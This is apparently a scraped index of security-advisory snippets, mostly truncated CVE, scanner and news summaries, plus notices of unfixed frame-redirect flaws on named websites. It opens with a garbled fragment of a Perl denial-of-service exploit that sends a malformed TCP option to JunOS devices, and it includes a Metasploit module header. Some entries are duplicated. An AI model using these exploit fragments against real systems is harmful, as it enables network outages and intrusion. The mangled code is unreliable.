JunOS Malformed TCP Options Denial Of Service

!/usr/bin/perl my $host = shift; my $port = shift; use Net::Packet qw$Env; use Net::Packet::IPv4; my $ip = Net::Packet::IPv4-newdst = $host; use Net::Packet::TCP; my $tcp = Net::Packet::TCP-new dst = $port, options = "\x65\x02\x01\x01", ; use Net::Packet::Frame; my $frame = Net::Packet::Frame-new...

kernel: e1000e frame fragment issue

drivers/net/e1000e/netdev.c in the e1000e driver in the Linux kernel 2.6.32.3 and earlier does not properly check the size of an Ethernet frame that exceeds the MTU, which allows remote attackers to have an unspecified impact via crafted packets, a related issue to CVE-2009-4537...

kernel: r8169 issue reported at 26c3

drivers/net/r8169.c in the r8169 driver in the Linux kernel 2.6.32.3 and earlier does not properly check the size of an Ethernet frame that exceeds the MTU, which allows remote attackers to 1 cause a denial of service temporary network outage via a packet with a crafted size, in conjunction with...

kernel: e1000e frame fragment issue

drivers/net/e1000e/netdev.c in the e1000e driver in the Linux kernel 2.6.32.3 and earlier does not properly check the size of an Ethernet frame that exceeds the MTU, which allows remote attackers to have an unspecified impact via crafted packets, a related issue to CVE-2009-4537...

kernel: r8169 issue reported at 26c3

drivers/net/r8169.c in the r8169 driver in the Linux kernel 2.6.32.3 and earlier does not properly check the size of an Ethernet frame that exceeds the MTU, which allows remote attackers to 1 cause a denial of service temporary network outage via a packet with a crafted size, in conjunction with...

KLA10073 SB vulnerability in Apple AirPort

An improperly MAC address distribution was found in Apple AirPort. By exploiting this vulnerability malicious users can bypass access restrictions. This vulnerability can be exploited from the network via an authentication frame. Original advisories vulnerability description Related products...

Unfixed Frame Redirect vulnerability at secure.creditcardguard.net.nz

Security researcher lithium9, has submitted on 15/12/2009 a Frame Redirect vulnerability affecting secure.creditcardguard.net.nz, which at the time of submission ranked 17661739 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 22/05/2010. It is...

Adobe Flash Player JPEG Parsing Heap Overflow Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Adobe Flash Player. User interaction is required to exploit this vulnerability in that the target must visit a malicious web page or open a malicious SWF file. The specific flaw exists in the parsi...

SoftiaCom WMailserver 1.0 Buffer Overflow

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'SoftiaCom...

Google Chrome Frame Detection (Windows)

Google Chrome Frame, an open source plug-in that enables support for HTML5 and other open web technologies in Internet Explorer IE is installed on the remote Windows host. According to Microsoft, use of this plugin with IE can potentially make IE less secure, and hence its use is not recommended....

Google Chrome Frame < 4.0.245.1

The version of Google Chrome Frame installed on the remote host is earlier than 4.0.245.1. Such versions are affected by a vulnerability that may allow an attacker to bypass cross-origin protections. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc';...

On Google Chromium OS, Microsoft Finding Flaws in Chrome and the Adobe Flash Controversy

Dennis Fisher and Ryan Naraine discuss the security bits of the Google Chromium OS, Microsoft finding a flaw in Google Chrome Frame, the Adobe Flash controversy and the ridiculous end to the France v. Ireland World Cup qualifier. SHOW NOTES Inside The Google Chrome OS Security Model Microsoft Fin...

Microsoft Finds Security Flaw in Google Chrome Frame

Back in September, when Google launched the Google Chrome Frame plug-in for Internet Explorer users, Microsoft immediately warned that the move would increase the attack surface and make IE users less secure. Now comes word that a security researcher in the Microsoft Vulnerability Research MSVR h...

CVE-2009-0052

The Atheros wireless driver, as used in Netgear WNDAP330 Wi-Fi access point with firmware 2.1.11 and other versions before 3.0.3 on the Atheros AR9160-BC1A chipset, and other products, allows remote authenticated users to cause a denial of service device reboot or hang and possibly execute...

Atheros based wireless access points DoS

Memory corruption on frame parsing...

FreeBSD Ports: typo3

The remote host is missing an update to the system as announced in the referenced advisory. SPDX-FileCopyrightText: 2009 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

FreeBSD : typo3 -- multiple vulnerabilities in TYPO3 Core (6693bad2-ca50-11de-8ee8-00215c6a37bb)

TYPO3 develop team reports : Affected versions: TYPO3 versions 4.0.13 and below, 4.1.12 and below, 4.2.9 and below, 4.3.0beta1 and below. SQL injection, Cross-site scripting XSS, Information disclosure, Frame hijacking, Remote shell command execution and Insecure Install Tool authentication/sessi...

Unfixed Frame Redirect vulnerability at farsiebook.com

Security researcher 3niGma, has submitted on 11/05/2009 a Frame Redirect vulnerability affecting farsiebook.com, which at the time of submission ranked 658390 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 17/02/2012. It is currently unfixed. ...

Unfixed Frame Redirect vulnerability at www.free-scores.com

Security researcher 3niGma, has submitted on 11/05/2009 a Frame Redirect vulnerability affecting www.free-scores.com, which at the time of submission ranked 26011 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 16/12/2011. It is currently...

Unfixed Frame Redirect vulnerability at myhealthscore.com

Security researcher 3niGma, has submitted on 11/05/2009 a Frame Redirect vulnerability affecting myhealthscore.com, which at the time of submission ranked 17634856 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 09/12/2011. It is currently...